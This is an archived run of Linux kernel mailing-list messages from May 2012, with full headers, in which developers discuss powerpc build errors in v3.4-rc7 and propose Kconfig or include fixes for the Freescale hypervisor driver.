	<CAOZdJXW2jmFG8hkBRMAsO-CJ3ruMd28LqS0b-BGZTU7FnpRi3Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337280138 30084 80.91.229.3 (17 May 2012 18:42:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 18:42:18 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Wood Scott-B07421 <B07421@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Tabi Timur-B04825 <B04825@freescale.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 20:42:16 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV5eO-0003rw-VB
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 20:42:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967535Ab2EQSmM convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 14:42:12 -0400
Original-Received: from mail-gg0-f174.google.com ([209.85.161.174]:47190 "EHLO
	mail-gg0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S967533Ab2EQSmK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 14:42:10 -0400
Original-Received: by gglu4 with SMTP id u4so2110199ggl.19
        for <multiple recipients>; Thu, 17 May 2012 11:42:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=5ZFeHApwJV0F1j7MgXwD7Y9vJtXapCkkZl2j9H5bFvQ=;
        b=FrVk40KKcH6DwSCgwd7LZbFgc0CYlr8KpcRHV31tybFxDgz+mQp0AlJkD0m3qQaH4k
         vOYBqRtM0MKv1ao1jL+NhXgTsBLxy4pdxoCYdzpYkOPx5zhDryj0DzuMnc8OhA22J6th
         w6ytnDzwOWLJN3TVamfyeinrFi77t1aYarvtlEBCpuv5if+o/SrRgBIQ+qsgn1mGodrc
         xP/cEDzSINpX+A46GDSTV/iGSQmkCFmpXYpUAZsio+sR9D0VueS36kwnKWCgFRLLT7Aa
         T7aYe3DKrBFvjMMDumtaFkU1uDw8T8aBzau9/wWa0ZJkJnUmjgH+uSKvIbT0Wg6GYRBN
         z9/A==
Original-Received: by 10.50.100.169 with SMTP id ez9mr12144534igb.44.1337280128981;
 Thu, 17 May 2012 11:42:08 -0700 (PDT)
Original-Received: by 10.231.253.93 with HTTP; Thu, 17 May 2012 11:42:08 -0700 (PDT)
In-Reply-To: <CAOZdJXW2jmFG8hkBRMAsO-CJ3ruMd28LqS0b-BGZTU7FnpRi3Q@mail.gmail.com>
X-Google-Sender-Auth: NMEzntaTml5QkSvlZJle51lqHyk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4424 gmane.linux.kernel:1299009 gmane.linux.ports.ppc64.devel:82132
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4424>

On Thu, May 17, 2012 at 7:52 PM, Tabi Timur-B04825 <B04825@freescale.co=
m> wrote:
> On Thu, May 17, 2012 at 12:30 PM, Timur Tabi <timur@freescale.com> wr=
ote:
>
>> Anyway, I think I see what the problem is, but it does appear when I=
 use
>> the normal defconfigs. =C2=A0What .config was being used?
>
> I meant to say that it does NOT appear.

powerpc randconfig.

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timur Tabi <timur@freescale.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 13:42:44 -0500
Organization: Freescale
Lines: 48
Approved: news@gmane.org
Message-ID: <4FB546A4.7090502@freescale.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>  <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com> <1337212281.30558.17.camel@pasglop>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337280185 30467 80.91.229.3 (17 May 2012 18:43:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 18:43:05 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	<linux-kernel@vger.kernel.org>,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Scott Wood <scottwood@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 20:43:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV5f5-0005pz-Hx
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 20:42:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967565Ab2EQSmz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 14:42:55 -0400
Original-Received: from db3ehsobe004.messaging.microsoft.com ([213.199.154.142]:49220
	"EHLO db3outboundpool.messaging.microsoft.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S967533Ab2EQSmy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 14:42:54 -0400
Original-Received: from mail81-db3-R.bigfish.com (10.3.81.236) by
 DB3EHSOBE001.bigfish.com (10.3.84.21) with Microsoft SMTP Server id
 14.1.225.23; Thu, 17 May 2012 18:42:44 +0000
Original-Received: from mail81-db3 (localhost [127.0.0.1])	by mail81-db3-R.bigfish.com
 (Postfix) with ESMTP id 9FAFA3E02BC;	Thu, 17 May 2012 18:42:44 +0000 (UTC)
X-SpamScore: -9
X-BigFish: VS-9(zz1432N98dKzz1202hzzz2dh2a8h668h839hd25he5bh)
X-Forefront-Antispam-Report: CIP:70.37.183.190;KIP:(null);UIP:(null);IPV:NLI;H:mail.freescale.net;RD:none;EFVD:NLI
Original-Received: from mail81-db3 (localhost.localdomain [127.0.0.1]) by mail81-db3
 (MessageSwitch) id 1337280162534615_22573; Thu, 17 May 2012 18:42:42 +0000
 (UTC)
Original-Received: from DB3EHSMHS012.bigfish.com (unknown [10.3.81.247])	by
 mail81-db3.bigfish.com (Postfix) with ESMTP id 7BD643400AF;	Thu, 17 May 2012
 18:42:42 +0000 (UTC)
Original-Received: from mail.freescale.net (70.37.183.190) by DB3EHSMHS012.bigfish.com
 (10.3.87.112) with Microsoft SMTP Server (TLS) id 14.1.225.23; Thu, 17 May
 2012 18:42:42 +0000
Original-Received: from tx30smr01.am.freescale.net (10.81.153.31) by
 039-SN1MMR1-003.039d.mgd.msft.net (10.84.1.16) with Microsoft SMTP Server
 (TLS) id 14.2.298.5; Thu, 17 May 2012 13:42:48 -0500
Original-Received: from [10.82.123.3] (efes.am.freescale.net [10.82.123.3])	by
 tx30smr01.am.freescale.net (8.14.3/8.14.0) with ESMTP id q4HIglbq018177;	Thu,
 17 May 2012 11:42:47 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120312 Firefox/11.0 SeaMonkey/2.8
In-Reply-To: <1337212281.30558.17.camel@pasglop>
X-OriginatorOrg: freescale.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4425 gmane.linux.kernel:1299011 gmane.linux.ports.ppc64.devel:82133
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4425>

Benjamin Herrenschmidt wrote:
>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: 'enum
>> fsl_diu_monitor_port' declared inside parameter list [-Werror]:  =>
>> 70:9, 84:9, 88:36
>>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: 'return' with
>> a value, in function returning void [-Werror]:  => 189:2
>>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: function
>> declaration isn't a prototype [-Werror=strict-prototypes]:  => 69:5,
>> 88:6, 83:6, 187:1
>>   + arch/powerpc/platforms/512x/mpc512x_shared.c: error: its scope is
>> only this definition or declaration, which is probably not what you
>> want [-Werror]:  => 70:9

So I think I have a fix for these, but I still would like the actual
.config so that I can be sure.

>>   + drivers/virt/fsl_hypervisor.c: error: 'MSR_GS' undeclared (first
>> use in this function):  => 799:80

I can't reproduce this one.  MSR_GS is defined in reg_booke.h.
fsl_hypervisor.c should not be compiled on a non-booke platform.  I don't
know if the fix is to add this to fsl_hypervisor.c:

	#include <asm/reg_booke.h>

or if I should update the Kconfig:

config FSL_HV_MANAGER
	tristate "Freescale hypervisor management driver"
	depends on FSL_SOC

to

	depends on FSL_BOOKE

or maybe

	depends on FSL_BOOKE && FSL_SOC

-- 
Timur Tabi
Linux kernel developer at Freescale

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timur Tabi <b04825@freescale.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 13:44:11 -0500
Organization: Freescale
Lines: 15
Approved: news@gmane.org
Message-ID: <4FB546FB.807@freescale.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org> <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com> <1337212281.30558.17.camel@pasglop> <4FB535D3.7000106@freescale.com> <CAOZdJXW2jmFG8hkBRMAsO-CJ3ruMd28LqS0b-BGZTU7FnpRi3Q@mail.gmail.com> <CAMuHMdVszy2sk6f045krqr=PPQFnd-GrtJYJMQCCPzkq-65psg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337280266 31230 80.91.229.3 (17 May 2012 18:44:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 18:44:26 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Wood Scott-B07421 <B07421@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 20:44:24 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV5gQ-0006LP-4C
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 20:44:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967535Ab2EQSoR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 14:44:17 -0400
Original-Received: from tx2ehsobe004.messaging.microsoft.com ([65.55.88.14]:28758 "EHLO
	tx2outboundpool.messaging.microsoft.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S967533Ab2EQSoQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 14:44:16 -0400
Original-Received: from mail7-tx2-R.bigfish.com (10.9.14.240) by
 TX2EHSOBE009.bigfish.com (10.9.40.29) with Microsoft SMTP Server id
 14.1.225.23; Thu, 17 May 2012 18:44:07 +0000
Original-Received: from mail7-tx2 (localhost [127.0.0.1])	by mail7-tx2-R.bigfish.com
 (Postfix) with ESMTP id 593A418087F;	Thu, 17 May 2012 18:44:07 +0000 (UTC)
X-SpamScore: 0
X-BigFish: VS0(zz98dKzz1202h1082kzzz2dh2a8h668h839hd25he5bh)
X-Forefront-Antispam-Report: CIP:70.37.183.190;KIP:(null);UIP:(null);IPV:NLI;H:mail.freescale.net;RD:none;EFVD:NLI
Original-Received: from mail7-tx2 (localhost.localdomain [127.0.0.1]) by mail7-tx2
 (MessageSwitch) id 1337280245909302_1864; Thu, 17 May 2012 18:44:05 +0000
 (UTC)
Original-Received: from TX2EHSMHS038.bigfish.com (unknown [10.9.14.242])	by
 mail7-tx2.bigfish.com (Postfix) with ESMTP id D855726040A;	Thu, 17 May 2012
 18:44:05 +0000 (UTC)
Original-Received: from mail.freescale.net (70.37.183.190) by TX2EHSMHS038.bigfish.com
 (10.9.99.138) with Microsoft SMTP Server (TLS) id 14.1.225.23; Thu, 17 May
 2012 18:44:04 +0000
Original-Received: from tx30smr01.am.freescale.net (10.81.153.31) by
 039-SN1MMR1-003.039d.mgd.msft.net (10.84.1.16) with Microsoft SMTP Server
 (TLS) id 14.2.298.5; Thu, 17 May 2012 13:44:12 -0500
Original-Received: from [10.82.123.3] (efes.am.freescale.net [10.82.123.3])	by
 tx30smr01.am.freescale.net (8.14.3/8.14.0) with ESMTP id q4HIiBDc018436;	Thu,
 17 May 2012 11:44:11 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120312 Firefox/11.0 SeaMonkey/2.8
In-Reply-To: <CAMuHMdVszy2sk6f045krqr=PPQFnd-GrtJYJMQCCPzkq-65psg@mail.gmail.com>
X-OriginatorOrg: freescale.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4426 gmane.linux.kernel:1299012 gmane.linux.ports.ppc64.devel:82134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4426>

Geert Uytterhoeven wrote:
> powerpc randconfig

Doesn't this generate a different .config every time it's run?  Do I keep
generating random .config files until the problem shows up?

-- 
Timur Tabi
Linux kernel developer at Freescale

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Wood <scottwood@freescale.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 13:48:25 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <4FB547F9.7000804@freescale.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org> <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com> <1337212281.30558.17.camel@pasglop> <4FB535D3.7000106@freescale.com> <CAOZdJXW2jmFG8hkBRMAsO-CJ3ruMd28LqS0b-BGZTU7FnpRi3Q@mail.gmail.com> <CAMuHMdVszy2sk6f045krqr=PPQFnd-GrtJYJMQCCPzkq-65psg@mail.gmail.com> <4FB546FB.807@freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337280524 1011 80.91.229.3 (17 May 2012 18:48:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 18:48:44 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Wood Scott-B07421 <B07421@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Timur Tabi <b04825@freescale.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 20:48:41 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV5ka-0004td-CK
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 20:48:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967577Ab2EQSsf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 14:48:35 -0400
Original-Received: from ch1ehsobe002.messaging.microsoft.com ([216.32.181.182]:9121
	"EHLO ch1outboundpool.messaging.microsoft.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S967531Ab2EQSse (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 14:48:34 -0400
Original-Received: from mail34-ch1-R.bigfish.com (10.43.68.253) by
 CH1EHSOBE018.bigfish.com (10.43.70.68) with Microsoft SMTP Server id
 14.1.225.23; Thu, 17 May 2012 18:48:26 +0000
Original-Received: from mail34-ch1 (localhost [127.0.0.1])	by mail34-ch1-R.bigfish.com
 (Postfix) with ESMTP id 2E5DA1C026D;	Thu, 17 May 2012 18:48:26 +0000 (UTC)
X-SpamScore: -11
X-BigFish: VS-11(zzbb2dI9371I1432N98dKzz1202hzzz2dh2a8h668h839hd25he5bh)
X-Forefront-Antispam-Report: CIP:70.37.183.190;KIP:(null);UIP:(null);IPV:NLI;H:mail.freescale.net;RD:none;EFVD:NLI
Original-Received: from mail34-ch1 (localhost.localdomain [127.0.0.1]) by mail34-ch1
 (MessageSwitch) id 1337280504385255_31196; Thu, 17 May 2012 18:48:24 +0000
 (UTC)
Original-Received: from CH1EHSMHS010.bigfish.com (snatpool1.int.messaging.microsoft.com
 [10.43.68.243])	by mail34-ch1.bigfish.com (Postfix) with ESMTP id
 597922E007D;	Thu, 17 May 2012 18:48:24 +0000 (UTC)
Original-Received: from mail.freescale.net (70.37.183.190) by CH1EHSMHS010.bigfish.com
 (10.43.70.10) with Microsoft SMTP Server (TLS) id 14.1.225.23; Thu, 17 May
 2012 18:48:21 +0000
Original-Received: from az33smr02.freescale.net (10.64.34.200) by
 039-SN1MMR1-002.039d.mgd.msft.net (10.84.1.15) with Microsoft SMTP Server id
 14.2.298.5; Thu, 17 May 2012 13:48:28 -0500
Original-Received: from [10.214.81.34] ([10.214.81.34])	by az33smr02.freescale.net
 (8.13.1/8.13.0) with ESMTP id q4HImQkX005277;	Thu, 17 May 2012 13:48:26 -0500
 (CDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120430 Thunderbird/12.0.1
In-Reply-To: <4FB546FB.807@freescale.com>
X-OriginatorOrg: freescale.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4427 gmane.linux.kernel:1299014 gmane.linux.ports.ppc64.devel:82135
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4427>

On 05/17/2012 01:44 PM, Timur Tabi wrote:
> Geert Uytterhoeven wrote:
>> powerpc randconfig
> 
> Doesn't this generate a different .config every time it's run?  Do I keep
> generating random .config files until the problem shows up?
> 

Regardless of the config that shows this, the MSR[GS] check should go
away.  If you have a /hypervisor node, you already know you're a guest.

-Scott

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timur Tabi <b04825@freescale.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Thu, 17 May 2012 13:51:46 -0500
Organization: Freescale
Lines: 15
Approved: news@gmane.org
Message-ID: <4FB548C2.3070405@freescale.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org> <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com> <1337212281.30558.17.camel@pasglop> <4FB535D3.7000106@freescale.com> <CAOZdJXW2jmFG8hkBRMAsO-CJ3ruMd28LqS0b-BGZTU7FnpRi3Q@mail.gmail.com> <CAMuHMdVszy2sk6f045krqr=PPQFnd-GrtJYJMQCCPzkq-65psg@mail.gmail.com> <4FB546FB.807@freescale.com> <4FB547F9.7000804@freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337280721 2763 80.91.229.3 (17 May 2012 18:52:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 May 2012 18:52:01 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Wood Scott-B07421 <B07421@freescale.com>,
	Kumar Gala <galak@kernel.crashing.org>
To: Scott Wood <scottwood@freescale.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 17 20:51:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SV5no-0008JZ-9v
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 May 2012 20:51:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760021Ab2EQSvz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 May 2012 14:51:55 -0400
Original-Received: from ch1ehsobe002.messaging.microsoft.com ([216.32.181.182]:8961
	"EHLO ch1outboundpool.messaging.microsoft.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759448Ab2EQSvy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 May 2012 14:51:54 -0400
Original-Received: from mail24-ch1-R.bigfish.com (10.43.68.246) by
 CH1EHSOBE014.bigfish.com (10.43.70.64) with Microsoft SMTP Server id
 14.1.225.23; Thu, 17 May 2012 18:51:45 +0000
Original-Received: from mail24-ch1 (localhost [127.0.0.1])	by mail24-ch1-R.bigfish.com
 (Postfix) with ESMTP id B1F14240258;	Thu, 17 May 2012 18:51:45 +0000 (UTC)
X-SpamScore: 0
X-BigFish: VS0(zz98dKzz1202h1082kzzz2dh2a8h668h839hd25he5bh)
X-Forefront-Antispam-Report: CIP:70.37.183.190;KIP:(null);UIP:(null);IPV:NLI;H:mail.freescale.net;RD:none;EFVD:NLI
Original-Received: from mail24-ch1 (localhost.localdomain [127.0.0.1]) by mail24-ch1
 (MessageSwitch) id 1337280704377177_22415; Thu, 17 May 2012 18:51:44 +0000
 (UTC)
Original-Received: from CH1EHSMHS003.bigfish.com (snatpool1.int.messaging.microsoft.com
 [10.43.68.242])	by mail24-ch1.bigfish.com (Postfix) with ESMTP id
 550BD3A0048;	Thu, 17 May 2012 18:51:44 +0000 (UTC)
Original-Received: from mail.freescale.net (70.37.183.190) by CH1EHSMHS003.bigfish.com
 (10.43.70.3) with Microsoft SMTP Server (TLS) id 14.1.225.23; Thu, 17 May
 2012 18:51:40 +0000
Original-Received: from tx30smr01.am.freescale.net (10.81.153.31) by
 039-SN1MMR1-001.039d.mgd.msft.net (10.84.1.13) with Microsoft SMTP Server
 (TLS) id 14.2.298.5; Thu, 17 May 2012 13:51:48 -0500
Original-Received: from [10.82.123.3] (efes.am.freescale.net [10.82.123.3])	by
 tx30smr01.am.freescale.net (8.14.3/8.14.0) with ESMTP id q4HIpl0d021930;	Thu,
 17 May 2012 11:51:47 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120312 Firefox/11.0 SeaMonkey/2.8
In-Reply-To: <4FB547F9.7000804@freescale.com>
X-OriginatorOrg: freescale.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4428 gmane.linux.kernel:1299016 gmane.linux.ports.ppc64.devel:82136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4428>

Scott Wood wrote:
> Regardless of the config that shows this, the MSR[GS] check should go
> away.  If you have a /hypervisor node, you already know you're a guest.

Fair enough.

-- 
Timur Tabi
Linux kernel developer at Freescale

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Thu, 17 May 2012 21:26:41 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <4FB550F1.7080104@gmx.de>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de> <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de> <4FB2C129.90307@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
